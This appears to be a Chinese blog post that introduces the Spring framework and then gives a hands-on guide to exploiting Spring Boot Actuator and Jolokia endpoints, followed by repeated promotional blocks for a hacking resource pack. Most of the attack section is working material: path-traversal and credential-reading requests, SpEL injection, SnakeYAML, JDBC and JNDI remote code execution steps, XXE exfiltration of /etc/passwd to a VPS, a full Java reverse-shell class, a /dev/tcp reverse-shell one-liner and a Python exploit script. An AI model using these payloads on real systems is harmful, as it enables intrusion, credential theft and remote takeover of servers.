Spring 框架:你大爷永远是你大爷
Spring 框架,江湖人称 Java 界的瑞士军刀,功能那是相当强大,目标是提供一个高效且可扩展的开发环境。Spring 生态系统里有五大天王:Spring Framework、Spring Boot、Spring Cloud、Spring Security 和 Spring MVC。
简单介绍一下:
Spring Framework: 核心骨架,提供了依赖注入(IoC)、面向切面编程(AOP)、数据访问和事务管理等神兵利器。
Spring MVC: 构建 Web 应用和 RESTful 服务的利器。DispatcherServlet、注解驱动、视图解析,三大特性让你轻松驾驭 Web 开发。
Spring Boot: 简化开发的火箭,基于 Spring Framework,自动配置、内嵌服务器、快速启动,让你告别繁琐配置。自动配置、内嵌 Tomcat、独立运行、Starter 依赖,四大金刚护体。
Spring Cloud: 微服务架构的翅膀,基于 Spring Boot,提供构建分布式系统和微服务的各种姿势。服务发现、负载均衡、配置管理、断路器、API 网关,微服务路上不再孤单。
Spring Security: 安全卫士,为 Spring 应用保驾护航,提供认证和授权功能。身份验证、访问控制、Web 安全保护,安全感爆棚。
它们之间的关系嘛,就像这样:
Spring Framework:地基,包含核心功能和 Spring MVC。
Spring MVC:Spring Framework 里的 Web 框架模块。
Spring Boot:站在 Spring Framework 的肩膀上,简化开发。
Spring Cloud:基于 Spring Boot,玩转微服务。
Spring Security:集成在 Spring Framework 中,负责安全。
Spring Boot Starter:解放你的双手
如果你觉得只是把 XML 配置换成 JavaConfig 配置就能减少工作量,那就 too young too simple 了。真正解放双手,还得感谢 Spring Boot Starter,它帮你完成了大量的配置工作,你只需要写一丢丢配置就行了。
Spring Boot 自动配置用到的注解:@SpringBootApplication、@SpringBootConfiguration、@ComponentScan、@EnableAutoConfiguration、@AutoConfigrationPackage、@EnableConfigurationProperties。
外部配置文件导入注解:@PropertySource。
定时任务注解:@EnableScheduling、@Scheduled、@EnableAsync、@Async。
过滤器:@WebFilter、@ServletComponentScan。
拦截器:拦截你的所有请求。
监听器:监听你的所有事件。
校验器:@Validated,校验数据,保证安全。
异常处理:@ControllerAdvice、@ExceptionHandler,统一处理异常。
自动加载原理:
Spring Boot 启动时,会去依赖的 starter 包中寻找 resources/META-INF/spring.factories 文件,然后根据文件里配置的 Jar 包去扫描项目依赖的 Jar 包,这有点像 Java 的 SPI 机制。SPI (Service Provider Interface),Java 内置的服务发现机制。
根据 spring.factories 配置加载 AutoConfigure 类。
根据 @Conditional 注解的条件,进行自动配置,并将 Bean 注入到 Spring Context 上下文里。
springboot-cve_2021_21234:文件包含漏洞
环境:vulfocus.cn,永远的神!
Spring Boot,Pivotal 团队的扛鼎之作,目标是简化 Spring 应用的搭建和开发过程。它用特定的方式进行配置,让开发者不再需要写那些重复的配置代码。Spring Boot 致力于成为快速应用开发领域的领导者。
这个漏洞是个文件包含漏洞,可以直接读取服务器上的文件。
漏洞 PoC:
/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../
修复方案:升级到 0.2.13,一劳永逸。

SpringCloud:微服务架构的瑞士军刀
Spring Cloud 基于 Spring Boot 构建,提供配置管理、服务注册与发现、智能路由等常用功能,帮你快速开发分布式系统。
一张图胜过千言万语,看这位大师傅画的图:

信息泄露漏洞:不小心暴露了秘密
这个漏洞主要是一些路由地址和接口的信息泄露,用 springscan 扫描一波:
/v2/api-docs:Swagger 文档,暴露 API 接口。
/swagger-ui.html:Swagger UI 界面,方便查看 API。
/env:获取环境变量信息,可能包含敏感信息。
/mappings:查看请求映射,暴露路由。
/metrics:应用指标,监控信息。
/beans:Spring Beans 信息。
/configprops:配置属性。
/actuator/metrics、/actuator/mappings、/actuator/beans、/actuator/configprops:Actuator 端点,提供更详细的信息。
敏感信息明文获取:裤子都脱了,你给我看这个?
如果目标网站存在一些接口依赖 jolokia-cor,比如 /jolokia、/actuator/jolokia,就可以尝试利用。
实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法。
PoC:
// spring 1.x 版本
POST /jolokia
Content-Type: application/json
{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}
// spring 2.x 版本
POST /actuator/jolokia
Content-Type: application/json
{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}
远程代码执行:搞事情的来了
主要问题是 springboot 存在一些组件漏洞,总结如下:
Spring Boot whitelabel error page 远程命令执行:骚操作
漏洞原理:使用了 springboot 默认错误页,在处理参数值时使用了递归流程,进入到 PropertyPlaceholderHelper 类中,${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式解析执行,导致 RCE 漏洞。
漏洞文件:ErrorMvcAutoConfiguration.java
漏洞复现:测试网站是否存在 Whitelabel Error Page,通过 fuzz 一些参数值,比如 id、sid,如果存在 500 报错,就可以测试 SpEL 表达式注入。

漏洞 PoC:
生成 16 进制的脚本:
input_string = "open -a Calculator"
hex_list = []
for ch in input_string:
# 将字符转换为十六进制表示,并添加到列表中
hex_list.append(f"0x{ord(ch):02x}")
hex_string = ', '.join(hex_list)
print(hex_string)
// 测试漏洞是否存在
${6*6} // 看是否有返回 36
// 执行 Calc 命令
${T(java.lang.Runtime).getRuntime().exec(newString(newbyte[]{0x63,0x61,0x6c,0x63}))}
spring cloud SnakeYAML 远程命令执行:一条蛇引发的血案
利用条件:通过查看是否存在 /env 或 /actuator/env 泄露,请求是否存在 spring-boot-starter-actuator,目标主机可出网,且版本 小于 1.3.0.RELEASE。
漏洞原理:Spring Cloud 配置通过 spring.cloud.bootstrap.location 指向恶意 YML 文件 URL,触发 refresh 请求该文件,利用 SnakeYAML 反序列化漏洞拉取恶意 JAR 并实例化其中的 javax.script.ScriptEngineFactory 实现类,导致远程代码执行(RCE)。
漏洞复现过程:
- 在
vps主机开放一个端口,上传一个exp.yml文件进行远程加载,写入恶意执行代码。
参考:https://github.com/artsploit/yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
- 设置
spring.cloud.bootstrap.location属性。
构造 PoC 如下,分为 spring1.x 和 spring2.x:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://vps:port/exp.yml
// spring 2.x
POST /actuator/env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://vps:port/exp.yml
- 刷新配置
refresh。
PoC 如下:
// spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
// spring 2.x
POST /actuator/refresh
Content-Type: application/x-www-form-urlencoded
springboot mysql jdbc deserialization 远程代码执行:数据库也疯狂
简述:Java Database Connectivity (JDBC) 是 Java 中用于连接和执行数据库操作的 API。它提供了一组标准接口,使开发人员能够使用 Java 代码与各种关系数据库进行交互。
利用条件:访问 /env 或 /actutar/env 接口,查询是否存在 mysql-connector-java 依赖。

进一步观察是否存在常见的反序列化 gadget 依赖,比如 commons-collections、Jdk7u21、Jdk8u20 等,观察版本并记录,搜索关键词 spring.datasource.url,记录 value 值(方便恢复)。

漏洞利用:
根据属性条件进行修改调用 mysql jdbc,判断具体情况利用,未授权可能影响业务数据,流程如下。
不同版本 mysql-connector-java 5.x 和 mysql-connector-java 8.x,PoC 如下:
// mysql-connector-java 5.x
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
// mysql-connector-java 8.x
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
同理判断是否存在 /env 或 /actuator/env:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
// spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
修改完成后进行刷新配置,再触发即可。
访问 /refresh 或 /actuator/refresh 刷新配置,最后触发查询,访问 /product/list 去触发漏洞,如果没有则需要找其他数据库查询接口。
修复业务:需要还原 spring.datasource.url 的 value 值为初始的,以防损害业务!!
h2 database console JNDI 命令执行:内存数据库的逆袭
简述:H2 database 是一款 Java 内存数据库,多用于单元测试。H2 database 自带一个 Web 管理页面,在 Spring 开发中,如果我们设置如下选项,即可允许外部用户访问 Web 管理页面,且没有鉴权。
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用条件:
存在下述界面:访问 /h2-console

漏洞利用:
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
- 下载后放入
vps中加载,运行命令如下,注意这里版本需要java8环境。
// 执行:bash -i >& /dev/tcp/VPS/1234 0>&1 的 Base64
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,反弹shell的base64}|{base64,-d}|{bash,-i}' -A VPS
开启 vps监听端口3333。
选择生成的 url links,这里用 rmi地址。

监听端口成功反弹 shell!

jolokia logback JNDI 命令执行:JMX 的 HTTP 接口
简介:Jolokia 是一款开源产品,用于为 JMX(Java Management Extensions)技术提供 HTTP API 接口。其中,该产品提供了一个 API,用于调用在服务器上注册的 MBean 并读/写其属性。JMX 技术用于管理和监视设备、应用程序和网络驱动的服务。
利用条件:看网站是否泄露 /jolokia 或 /actuator/jolokia 接口,进一步看目标是否使用 jolokia-core 依赖,判断是否出网,漏洞利用是 JDNI 注入,版本限制为:jdk < 6u201/7u191/8u182/11.0.1(LDAP)。
漏洞利用:
访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic,也就是 logback 库下的 reloadByURL 可以造成 JNDI 注入。

步骤流程如下:
- 在
vps上放入xml文件进行加载,内容如下:
// 文件内容如下
<configuration>
<insertFromJNDI env-entry-name="ldap://VPS:1389/JNDIObject" as="appName" />
</configuration>
- 编写用来反弹 shell 的代码
JNDIObject.java:
/** 运行
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
*/
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject{
static{
try{
String ip ="your-vps-ip";
String port ="3333";//反弹shell端口
String py_path =null;
String[] cmd;
if(!System.getProperty("os.name").toLowerCase().contains("windows")){
String[] py_envs =new String[]{"/bin/python","/bin/python3","/usr/bin/python","/usr/bin/python3","/usr/local/bin/python","/usr/local/bin/python3"};
for(int i =0; i < py_envs.length;++i){
String py = py_envs[i];
if((new File(py)).exists()){
py_path = py;
break;
}
}
if(py_path !=null){
if((new File("/bin/bash")).exists()){
cmd =new String[]{py_path,"-c","import pty;pty.spawn("/bin/bash")"};
}else{
cmd =new String[]{py_path,"-c","import pty;pty.spawn("/bin/sh")"};
}
}else{
if((new File("/bin/bash")).exists()){
cmd =new String[]{"/bin/bash"};
}else{
cmd =new String[]{"/bin/sh"};
}
}
}else{
cmd =new String[]{"cmd.exe"};
}
Process p =(new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s =new Socket(ip,Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0){
so.write(pi.read());
}
while(pe.available()>0){
so.write(pe.read());
}
while(si.available()>0){
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try{
p.exitValue();
break;
}catch(Exception e){
}
}
p.destroy();
s.close();
}catch(Throwable e){
e.printStackTrace();
}
}
}
这里需要用低版本 兼容运行:
javac -source 1.5 -target 1.5 JNDIObject.java
// 生成 JNDIObject.class 拷贝到 vps 根目录
- 开启恶意的 ldap 服务:
利用项目:https://github.com/mbechler/marshalsec,命令如下:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS:port/#JNDIObject 1389
监听反弹 shell 端口 3333。
- 从外部进行远程加载
日志配置文件从而RCE:
访问地址如下:
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps:port!/example.xml
jolokia Realm JNDI 命令执行:Tomcat 的后门
利用条件和上面差不多,访问接口 /jolokia 或 /actuator/jolokia。
漏洞利用:
流程如下:访问 /actuator/jolokia/list 路由搜索 logback 和 reloadByURL,发现目标未启用 logback 组件。在 jolokia-realm-jndi-rce 中使用 marshalsec-0.0.3-SNAPSHOT-all.jar 来进行 JNDI 注入,依赖于目标使用的 JDK 版本,对于 OracleJDK11.0.1、8u191、7u201、6u211 或者更高版本的 JDK, 限制加载远程 codebase.
- 访问
/jolokia/list接口,查看是否存在type=MBeanFactory和createJNDIRealm关键词,编写用来反弹 shell 的代码JNDIObject.java,将编译好的class文件放到网站根目录。
javac -source 1.5 -target 1.5 JNDIObject.java
- 利用
marshalsec开启恶意的rmi服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps:port/#JNDIObject 1389
- 开启监听端口
3333,调用进行加载触发,利用exp如下:
#!/usr/bin/env python3
import requests
url ='http://地址/jolokia'
create_realm = {
"mbean":"Tomcat:type=MBeanFactory",
"type":"EXEC",
"operation":"createJNDIRealm",
"arguments":["Tomcat:type=Engine"]
}
wirte_factory = {
"mbean":"Tomcat:realmPath=/realm0,type=Realm",
"type":"WRITE",
"attribute":"contextFactory",
"value":"com.sun.jndi.rmi.registry.RegistryContextFactory"
}
write_url = {
"mbean":"Tomcat:realmPath=/realm0,type=Realm",
"type":"WRITE",
"attribute":"connectionURL",
"value":"rmi://your-vps-ip:1389/JNDIObject"
}
stop = {
"mbean":"Tomcat:realmPath=/realm0,type=Realm",
"type":"EXEC",
"operation":"stop",
"arguments":[]
}
start = {
"mbean":"Tomcat:realmPath=/realm0,type=Realm",
"type":"EXEC",
"operation":"start",
"arguments":[]
}
flow =[create_realm, wirte_factory, write_url, stop, start]
for i in flow:
print('%s MBean %s: %s ...'%(i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i)
r.json()
print(r.status_code)
命令:python3 exp.py
jolokia XXE 任意文件读取:XML 注入
源码复现:git clone [https://github.com/veracode-research/actuator-testbed.git](https://github.com/veracode-research/actuator-testbed.git)
影响版本:Spring Boot 2.x
漏洞原因:该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。对于此漏洞,Spring boot 会把 / 解析成 /,导致可以部署 xml 脚本进行远程加载解析。
漏洞条件:
访问 /jolokia/list 接口,在页面搜索 logback,查看是否存在 logback 库提供的 reloadByURL 方法,根据响应页面存在 logback 库提供的 reloadByURL 方法。

漏洞复现:
- 在
vps上创建logback.xml,内容如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vps:4444/xxe.dtd">%remote;%int;]>
<a>&trick;</a>
- 创建一个外部实体文件
xxe.dtd:
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
- vps 开启监听端口
4444进行请求远程文件logback.xml,加载dtd文件触发文件读取漏洞,poc如下:
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/VPSIP地址!/logback.xml

SpringBoot Actuator之restart logging.config grovvy命令执行:Groovy 脚本的诱惑
第一种:
简述:根据 springboot 相关文档说明:可通过 Spring 环境属性 logging.config 进一步设置配置文件的位置。
利用条件:存在 /actuator/restart 接口,存在 groovy依赖
漏洞利用:关键代码在 org.springframework.boot.context.logging.LoggingApplicationListener#initialize() 方法中,logback-classic 组 件的 ch.qos.logback.classic.util.ContextInitializer.java 代码文件逻辑中会判断 url 是否以 groovy 结尾
漏洞复现:
- 远程加载
.groovy文件,这里写入一个exp.groovy:
// VPS 写入一个命令执行函数
Runtime.getRuntime().exec("open -a Calculator")
Runtime.getRuntime().exec("calc")
python -m http.server 1234
- 设置
logging.config属性,poc 如下:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://vps:port/exp.groovy
// spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://vps:port/exp.groovy"}
- 最后访问
/restart或/actuator/restart重新应用即可加载命令执行。
注意此操作会重启业务运行,请授权测试
另一种姿势:restart spring.main.sources groovy 命令执行,同理也是需要 groovy依赖,poc 如下:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://vps:port/exp.groovy
// spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.main.sources","value":"http://vps:port/exp.groovy"}
然后重启等待加载即可,最终是正常访问 /actuator/env 接口的。
SpringBoot Actuator之restart logback JNDI 命令执行:JNDI 注入的魅力
利用条件:JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口,存在 /env 和 /restart 接口。
spring actuator 1.x 开启 restart 需要配置: endpoints.restart.enabled=true spring actuator
spring actuator 2.x 开启 restart 需要配置: management.endpoint.restart.enabled=true
漏洞复现:
- 在根目录创建一个
xml文件,通过远程去加载exp.xml:
// 这里 base64 为命令执行语句
<configuration>
<insertFromJNDI env-entry-name="ldap://vvps:1389/TomcatBypass/Command/Base64/Y2FsYw==" as="appName" />
</configuration>
vps上开启ldap服务并启动:
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
- 请求
/env去设置logging.config属性:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://vps:port/exp.xml
// spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://vps:ip/exp.xml"}
- 最后访问
/restart或/actuator/restart重启即可。
提:如果说存在相关 tomcat 版本的话,也可以用 javax.el.ELProcessor 作为 Reference Factory 来绕过高版本 JDK 的限制。
SpringBoot Actuator之restart logging.config grovvy命令执行:H2 Database 的骚操作
利用条件:需要存在 /env 和 /restart 接口,环境需要存在 h2database、spring-boot-starter-data-jpa 相关依赖,返回 错误的 h2 sql语法
漏洞利用:
vps上进行存放.sql文件进行远程加载,内容如下:
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','calc');
- 设置
spring.datasource.data属性:
// spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://vps:port/exp.sql
// spring 2.x
POST /actuator/env
Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://vps:port/exp.sql
- 最终重启应用即可,访问
/restart或/actutar/restart接口。
结:闲暇之余,学习总结一下 springboot 相关知识,路漫漫其修远兮,如若有误,欢迎师傅指出。

黑客/网络安全学习包


资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**

**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************
4699

被折叠的 条评论
为什么被折叠?



